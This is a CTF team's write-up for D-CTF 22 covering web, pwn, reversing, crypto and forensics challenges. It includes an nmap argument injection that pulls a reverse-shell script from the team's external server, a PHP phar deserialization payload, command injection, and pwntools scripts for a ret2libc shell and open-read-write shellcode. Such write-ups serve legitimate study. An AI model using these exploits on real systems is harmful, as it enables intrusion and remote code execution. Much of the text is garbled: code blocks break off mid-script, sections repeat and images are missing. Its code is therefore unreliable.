Professional Documents
Culture Documents
P3WP3W Writeups For DCTF 22
P3WP3W Writeups For DCTF 22
D-CTF 22
1. SUMMARY
Team Name 5
Country 5
Contact Details & Identifier on CyberEDU.ro 5
Scanning-Station 6
Proof of flag 6
Summary of the vulnerabilities identified 6
Proof of solving 6
Ground 9
Proof of flag 9
Summary of the vulnerabilities identified 9
Proof of solving 9
Pure-Cij 12
Proof of flag 12
Summary of the vulnerabilities identified 12
Proof of solving 12
Cryogenics 14
Proof of flag 14
Summary of the vulnerabilities identified 14
Proof of solving 14
Network-Traffic1 15
Proof of flag 15
Summary of the vulnerabilities identified 15
Proof of solving 15
Network-Traffic2 16
Proof of flag 16
Summary of the vulnerabilities identified 16
Proof of solving 16
Malware-Station 17
Proof of flag 17
Summary of the vulnerabilities identified 18
Proof of solving 18
Fast-Proof 20
Proof of flag 20
Summary of the vulnerabilities identified 20
Proof of solving 20
Alarm 21
Proof of flag 21
Summary of the vulnerabilities identified 22
Proof of solving 22
Destruction 26
Proof of flag 26
Summary of the vulnerabilities identified 27
Proof of solving 27
Another-Malware-Station 32
Proof of flag 32
Summary of the vulnerabilities identified 32
Proof of solving 32
Ranszip 34
Proof of flag 34
Summary of the vulnerabilities identified 35
Proof of solving 35
Read-QRs 37
Proof of flag 37
Summary of the vulnerabilities identified 37
Proof of solving 37
Deleted-Paste 39
Proof of flag 39
Summary of the vulnerabilities identified 39
Proof of solving 39
Multi-Encode 39
Proof of flag 39
Summary of the vulnerabilities identified 39
Proof of solving 39
Xenon-PDF 40
Proof of flag 40
Summary of the vulnerabilities identified 40
Proof of solving 41
Xrypto 42
Proof of flag 42
Summary of the vulnerabilities identified 42
Proof of solving 42
Scanning-Station 45
Proof of flag 45
Summary of the vulnerabilities identified 46
Proof of solving 46
Getting-Trolljs 47
Proof of flag 47
Summary of the vulnerabilities identified 47
Proof of solving 47
2. ABOUT THE AUTHOR
2.2 Country
Romania
3.1 SCANNING-STATION
Flag Screenshot:
Flag plaintext:
CTF{d60a0c929b9dd244eacedac54171bc3293448630fbbabc209f2751611bcd85b0}
We noticed the error output when putting a single quote in the box. This allowed us to read part of the
app.py file which referenced NmapProcess. After some digging into how that works, we found the
libnmap vulnerability. We implemented the POC found on the link below. The tricky part was the file
location as in the blog the application was creating a folder with the IP address. This one didn’t.
Upon first accessing the website, we get a box in which we are expected to input an IP address.
Instead of doing that, we try various symbols to see if it breaks. It does break with a single quote and
we get an error.
This reveals that Debug is ON and we get to read part of the app.py file serving the website. This
specifies that it is using the NmapProcess function:
After doing some research on how that works, we soon found a blog about a vulnerability in the
libnmap library.
https://www.swascan.com/security-advisory-libnmap-2/
We apply the POC shown in the advisory. Our first request is supposed to grab our .nse script from our
webserver.
content=4.236.147.175,-p,1337,--script,http-fetch,--script-args,destination=/tmp/a
Our hosted python webserver allows the file to be grabbed. We get a 200 ok on it.
Since NMAP uses LUA scripting language, our content of the rev.nse file is a basic bash reverse shell:
Our next POST request was sent to trigger the uploaded rev.nse script. Through experimentation on a
local environment, we noticed that the file is saved directly in the folder we specified unlike what the
original advisory mentions where the file is stored in a folder with the IP address.
content=4.236.147.175,-p,1337,--script,/tmp/a/rev.nse
This POST request triggered the payload and we received our reverse shell and read the flag:
CTF{d60a0c929b9dd244eacedac54171bc3293448630fbbabc209f2751611bcd85b0}
3.2 GROUND
Flag screenshot:
Flag plaintext:
CTF{cff6265bd8facbc2a80d2888c45ab765363258af249c9fb7a341232a6b9cdf6e}
After fuzzing what looked to be a static website, we find /phpinfo.php which leaks helpful information
such as what PHP functions are disabled. After a long time, we noticed in our BurpSuite history that it
loads a favicon.ico which is in fact a php script.
This script allows us to figure out that there is a hidden upload function. The most important part is that
it seems to be using a class vulnerable to phar deserialization which we can abuse to read the flag
which according to the index page should be in flag.php.
When we first access the website, we are greeted with an index page showing us some PHP code.
This code implies there is a flag.php file which is included and a /?file endpoint.
After we fuzz for files, we find http://34.141.25.94:32255/phpinfo.php which leads us to finding out that
certain PHP functions are disabled:
After being lost for quite a while and going down a rabbit hole of trying to upload files using phpinfo and
trying a race condition to trigger the temporary files it creates. We finally look back and see that
favicon.ico is not what it is supposed to be. It is in fact a PHP script. Very sneaky and annoying. Not
very realistic (unless it was a backdoor however that’s a premise for a different challenge). If I ever see
script in the favicon in any of my engagements, I’ll eat my shoes.
This script seems vulnerable to PHAR deserialization and using eval(). We also get a hidden upload
feature which is very necessary for us to be able to exploit the vulnerability.
Step 1: Create test.php file with the contents below. Notice we are using readfile() function as it is not
in the list of disabled functions and we know in which file the flag is supposed to be.
<?php
class Grounded {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
eval($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
r = requests.get(url, proxies=proxy)
x = requests.get('http://34.141.25.94:32512/?file=phar:///tmp/lazytitan33.txt')
print(x.text)
Once we run our script, the file gets uploaded and then read out to the terminal:
CTF{cff6265bd8facbc2a80d2888c45ab765363258af249c9fb7a341232a6b9cdf6e}
3.3 PURE-CIJ
Flag screenshot:
Flag plaintext:
CTF{56c5ed0e0c3246493cc03801a05e4deb0328e31c7bfe75edee5c89553e58781a}
Once we connect with netcat to the given IP and Port, we see a splash screen. The instinct here was to
try bash command injection with a semi-colon and it worked like a charm.
We first tried to list files and to our surprise, it worked right away and notice the flag file is already in the present
working directory.
And we can read it.
CTF{56c5ed0e0c3246493cc03801a05e4deb0328e31c7bfe75edee5c89553e58781a}
3.4 CRYOGENICS
Flag screenshot:
Flag plaintext:
CTF{13346f5de9d568cd012b98c0ed915fd0085f39a77b14bb646925dd45f7ed90d2}
Angr with claripy was used to get the flag from this binary.
st = target.factory.full_init_state(args=["./cryogenics"], stdin=flag)
for k in inp:
st.solver.add(k > 0)
st.solver.add(k < 129)
sm = target.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
if b"Flag" in x.posix.dumps(1):
print(x.posix.dumps(1))
3.5 NETWORK-TRAFFIC1
This is a Wireshark challenge with non-standard flag formats which are all shown below.
We analyzed the Wireshark capture trying to understand what happened and finding the answers to
the given questions.
Question 2: What is the hostname value for the computer that gets infected?
We search the capture to find a computer name and find: K34EN6W3N-PC
Question 3: What is the name of the compromised website, basically the entry point of the
malware infection?
We see many suspicious accessed links from stand.trustandprobaterealty.com such as
the one pictured below:
Question 4: Please provide the redirection URL that is used by the malware after being injected
into the compromised machine:
The other most accessible website which seems to redirect to suspicious things is
www.ciniholland.nl an example pictured below:
Question 5: What is the MD5 for the Java exploit used în this attack?
We extracted the file from the capture and ran it through VirusTotal which gave us the
output: 1e34fdebbf655cebea78b45e43520ddf
3.6 NETWORK-TRAFFIC2
This is a Wireshark challenge with non-standard flag formats which are all shown below.
We analyzed the Wireshark capture trying to understand what happened and finding the answers to
the given questions.
Question 4: Determine the user account name on the affected Windows host.
We found the name in one of the packets: reginald.farnsworth
Question 5: Determine what type of malware infection is present in the pcap file.
We can again use VirusTotal to identify it however the answer format that was expected
was a bit more tricky to pin down.
3.7 MALWARE-STATION
This challenge involves analyzing a .vmem file and does not contain standard format flags.
3.7.2 Summary of the vulnerabilities identified
We analyzed the given file with volatility2 trying to find the answers to the given questions.
Question 2: Which is the process that the attackers used to create an active connection with
the targeted host?
Infections usually happen because of bad stuff being downloaded from the internet so we
can use iehistory from volatility to check the browsing history and we see a weird listener.pdf
file having been run by explorer.exe
Question 3: At which address and port the infected machine was connected too?
We can use the connscan command to see network connections and we see the IP and
Port used by the same PID as with the earlier question so we know that is the answer.
172.16.98.1:6666
vol2 -f malware.vmem --profile=WinXPSP3x86 connscan
When we upload this to VirusTotal, we see that some identify it as a Trojan, so that is our last
flag for this challenge.
3.8 FAST-PROOF
Flag screenshot:
Flag plaintext:
CTF{60d6fdfe76fed41685766be3631efcc80a4c90fe3a4bece6ffb23dd2aa72b2c4}
This challenge sends us some strings when we use netcat to connect to it and requires some
“proof-of-work”. We investigate the string in Cyberchef and find it is ROT13 and Base64. We script the
rest until we get the flag.
After browsing Cyberchef for a while, we discovered this was ROT-13 and base64 encoded. All that was left was to
write a script that receives the string, decodes it and sends it back to the server.
We used pwntools for the connection and base64, codecs for the decoding.
#!/usr/bin/env python3
from pwn import *
import codecs
import base64
p = remote('35.198.78.168',31150)
def decode_func():
p.readuntil(b'\n')
string = str(p.readuntil(b'\n')[:-1])
string = str(codecs.decode(string, 'rot_13'))
#For some reason, the string format given by codecs was
#weird, so we had to remove the last 3 chars and first 2 chars.
string = str(string[:-3])
string = string[2:]
print(string)
string = base64.b64decode(string)
p.sendline(string)
counter = 1
decode_func()
for i in range(0, 10000):
print("DECODED THE STRING {} TIMES".format(int(counter)))
p.readuntil(b'\n')
decode_func()
counter = counter+1
p.interactive()
After sending the decoded work_proof 500 times, we get the flag.
3.9 ALARM
Flag screenshot:
Flag plaintext:
CTF{f0af17449a83681de22db7ce16672f16f37131bec0022371d4ace5d1854301e0}
Opening the binary in IDA and inspecting the main function we see the following:
Firstly, it opens /dev/urandom to create a 4 byte random number that acts as a “password”, you
need to input the correct number to go to the sub_400861() function. However,
printf(byte_6010C0); is vulnerable to a printf format string attack. Because the buffer is quite
big, l just sent a lot of “%p”s to try to leak the number.
A basic buffer overflow. The buffer can hold a maximum of 112 bytes, but we read 0x1388
bytes. To fully exploit this we’ll need a leak of the libc, because we’ll need the base of libc to
calculate where bin_sh and system are. So we are going to send 120 bytes of dummy data (112
buffer + 8 bytes of old_rbp) then a pop rdi ; ret gadget, to set $rdi to GOT puts address
(Because $rdi is the first parameter as the linux x86-64 function calling says.), then we are
going to call puts. This pretty much will send back the puts address in memory, with it we can
calculate the libc address. But we can't leave the program like this, because after leaking the
address nothing else will happen. So after we call puts, we will call the vulnerable function
again.
#!/usr/bin/env python3
from pwn import *
elf = ELF('./alarm')
#p = elf.process()
p = remote('34.141.12.127',30461)
pop_rdi = 0x0000000000400a23
ret = 0x000000000040067e
vuln = 0x400861
p.readuntil(b'!')
p.sendline(b'%9$p')
p.readuntil(b'\n')
Number = int(p.readuntil(b'\n')[:-1], 16)
p.readuntil(b':')
p.sendline(hex(Number))
Payload = b'A'*120
Payload += p64(pop_rdi)
Payload += p64(elf.got[b'puts'])
Payload += p64(elf.plt[b'puts'])
Payload += p64(vuln)
p.sendline(Payload)
p.readuntil(b'\n')
p.readuntil(b'\n')
Now, we need to leak more GOT functions to make sure we get the correct libc from libc.rip. I
also leaked fgets.
Only 2 libcs were shown and both had the same offsets. We can now calculate where bin_sh
and system will be in memory. All that there’s left is to call system(‘/bin/sh’).
#!/usr/bin/env python3
from pwn import *
elf = ELF('./alarm')
#p = elf.process()
p = remote('34.141.12.127',30461)
pop_rdi = 0x0000000000400a23
ret = 0x000000000040067e
vuln = 0x400861
p.readuntil(b'!')
p.sendline(b'%9$p')
p.readuntil(b'\n')
Number = int(p.readuntil(b'\n')[:-1], 16)
p.readuntil(b':')
p.sendline(hex(Number))
Payload = b'A'*120
Payload += p64(pop_rdi)
Payload += p64(elf.got[b'fgets'])
Payload += p64(elf.plt[b'puts'])
Payload += p64(vuln)
p.sendline(Payload)
p.readuntil(b'\n')
p.readuntil(b'\n')
Payload = b'A'*120
Payload += p64(ret)
Payload += p64(pop_rdi)
Payload += p64(bin_sh)
Payload += p64(system)
p.sendline(Payload)
p.interactive()
3.10 DESTRUCTION
Flag screenshot:
Flag plaintext:
CTF{7d9ad926a7fd47a7280d20b5c0fbe6cbf69435e9b62a1b7ba1a4628fe43331d5}
NX disabled. Seccomp rules that allow you to only call read, open and write. Buffer
overflow + Useful gadget to call read() again for a full Open-Read-Write shellcode.
Opening the binary in IDA we see a function that uses some seccomp rules.
We can see that we can’t call x86 syscalls, we are allowed to only call read, open, write and
exit. Continuing with our REV, the main function is vulnerable to a obvious buffer overflow:
buf[0] = 0LL;
buf[1] = 0LL;
puts("Acces denied intruder detected!!");
v5 = 1;
sub_4006A7();
if ( read(0, buf, 0x38uLL) <= 0 )
return 0LL;
if ( strncmp("done", (const char *)buf, 4uLL) )
exit(0);
return 0LL;
}
The “buf” buffer can hold max 3 bytes but the binary calls read(0, buf, 0x38). Because of the
strncmp the first 5 bytes will be “done” + ‘\x00’. Let’s try and see where we corrupt the $rip.
If we send done + 1 null byte + 35 ‘A’s we’ll reach the return address. The thing is, we don’t
actually have a lot of space and we also dont have a way to return to the bytes after “done”. The
thing is, the binary has a very useful gadget:
Shellcode += asm('''
xor rdi, rdi ; null rdi
mov dh, 0x2 ; set rdx to 0x204
syscall ; call read
''')
Shellcode += asm('''
xor rdx, rdx ; null rdx
xor rsi, rsi ; null rsi
push rsi ; push 0
mov rax, 0x7478742e67616c66 ; flag.txt
push rax ; push flag.txt
mov rdi, rsp ; set rdi to a pointer that points to flag.txt
mov rax, 0x2 ; set rax to open syscall
syscall ; call open
#p = elf.process()
p = remote('35.242.226.178',30160)
Shellcode = b'done'
Shellcode += b'\x00'
Shellcode += b'\x90'*3
Shellcode += b'\x41'*32
Shellcode += p64(0x0000000000400882) # jmp rsp
Shellcode += asm('''
xor rdi, rdi
mov dh, 0x2
syscall
''')
sleep(1)
p.send(Shellcode)
mov rax, 1
mov rdi, 1
syscall
''')
p.send(Shellcode)
p.interactive()
And after we run it, we get our flag:
3.11 ANOTHER-MALWARE-STATION
This challenge involves analyzing a .vmem file and does not contain standard format
flags.
We analyzed the given file with volatility2 trying to find the answers to the given
questions.
Question 1: Which is the suspicious process and its PID that should be analyzed in this
investigation?
As always with malware, it usually comes from the internet so we use pslist to list our
processes and indeed see IEXPLORE.EXE with PID 2044. The flag is IEXPLORE.EXE, 2044
But the most obvious one, given an HTTP connection, would be the WINHTTP.DLL file which is
the last one in the list and our flag for this question:
Question 3: Which kind of protection uses the suspicious process that makes a cyber analyst
think that malware is present?
Volatility is a great tool and it has a malfind function which allows us to find malicious
process for specific PIDs. The syntax below finds our flag for this question as well:
PAGE_EXECUTE_READWRITE
Question 6: Which protocol the malware uses to connect to the C&C servers?
Given what we know so far about the infection, it is safe for us to first try HTTP and that is
indeed the flag for this challenge.
3.12 RANSZIP
Flag screenshot:
Flag plaintext:
CTF{f88981a5e360550bbd247c0c52968ee1d44dd18dcc370bb50397dbd11a011f25}
I unzipped the files and used Linux CLI tools in order to facilitate my process of
finding the password.
ls -l |sort -k 8 | awk '{print $9}' | awk -F "." '{print $1}' | xargs | sed
's/ //g'
I then unzipped one archive (they were all identical) and got the flag.zip, on which I used the
previously obtained password:
3.13 READ-QRS
Flag screenshot:
Flag plaintext:
CTF{637d391df5b11a686642189160aa68d1263e0250ece98a4be3e460838153340d}
Python scripting to automate receiving and sending answers from and to a server,
base64 decoding and QR code scanning.
We see that we have a server which gives us a text. When decoding that text, from base64 we
see that it gives us a QR code, thus we make a Python script to automate the process of
scanning that QR code and others that may be given to us:
context.log_level = 'critical'
print(r.recvline())
3.15 MULTI-ENCODE
Flag screenshot:
Flag plaintext:
ctf{a7e0c5ea8025205088cc47948d54fe74a66d45ec56728824a163e795f30b3e42}
We used Cyberchef.
I introduced the given text in CyberChef. Using the Magic Tool I got the following recipe:
From_Base64('A-Za-z0-9+/=',true,false)
Gunzip()
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
From_Base64('A-Za-z0-9+/=',true,false)
3.16 XENON-PDF
Flag screenshot:
Flag plaintext:
CTF{163c14fa294049440d31b6769f1256de6f4aad9edd40041d55d899e93e8af40b}
3.16.2 Summary of the vulnerabilities identified
PDF is XOR-ed with the PDF magic bytes and the flag is written with white on white
background.
After downloading the "pdf" we see that instead of receiving a normal pdf we got a lot of weird
bytes. What caught my attention was that the first five bytes were 00
After reading the description more carefully we see a reference to "magic" bytes so then I
realise we miss the PDF magic bytes. There was still a problem because the file didn't resemble
a pdf at all. After a while I realised maybe the PDF was xored with the magic bytes hence why
the first bytes were 00.
I imported the "pdf" on CyberChef and then XORed it with the PDF magic bytes:**25 50 44 46
2D**
After downloading the resulted PDF we see just a blank page. The author hid the flag by making
the font color white.
Flag: CTF{163c14fa294049440d31b6769f1256de6f4aad9edd40041d55d899e93e8af40b}
3.17 XRYPTO
Flag screenshot:
Flag plaintext:
CTF{420c65eef2f1a413089535f6a228047e179859364718a0d9f2283f723de33c5f}
A beautiful challenge made by my drinking friend Ephvuln who was so nice these
days to not f**k us with some crazy crypto at Defcamp.
Getting back to our challenge we are presented with a pretty nice looking binary.
Here we can see what the main function does. It takes our 69 bytes input
(CTF+{sha256}) and encrypts it four times with the same function. After then it prints
it in a hex %02X format.
Looking inside the encrypt function we can see it applies another two functions.
First one is shifting the bytes of our input and does an OR bitwise operation.
The second one is just xoring our initial input with the output from the shift_bytes
function.
I was kinda tired when I approached this challenge so I tried playing a little bit with
the binary to see if I can get something from a blackbox approach.
We have the output we need to find from the description of the challenge so I tried to
match it. I successfully found that inputing CTF{ we get the first two bytes correct. I
continued to try bruteforcing and found a pattern. Seems like we can get the first
2*(length(input) - 2) chars to match the same length provided output of the same
length.
In our case CTF{ is 4 bytes long and it outputs us the first 2*(4-2) = 4 characters
correct from our given output.
I quickly made a script to generate the rest of the flag for us given the found rule.
from pwn import *
context.log_level = 'critical'
poss = "abcdef0123456789"
flag = "CTF{"
out =
"052f72490451065653500357000307055007010b090d0a0055030704530a020c0751065208
0f0c01060f0701050f50080509020b540a015e04540456565756500605482529"
for x in range(0,65):
for char in poss:
p = process(["./encr.bin",flag+char])
res = p.recvline().strip().decode()
p.close()
if res[0:2*(len(flag) -1)] == out[0:2*(len(flag)-1)]:
flag += char
print(flag)
break
print(flag+"}")
3.18 SCANNING-STATION
Flag screenshot:
Flag plaintext:
CTF{7f54e15bcf2e3c1f5749c8a74f104285b71ef6ce3101c9f4e31ddbde15855382}
3.18.2 Summary of the vulnerabilities identified
Flag screenshot:
Flag plaintext:
ctf{38ecb1b9c0373012508632ed7ae71288cc608782e7fb9a45552a782584116e1b}
Tricky, trolly javascript in the background gives us a slightly different flag in the
clipboard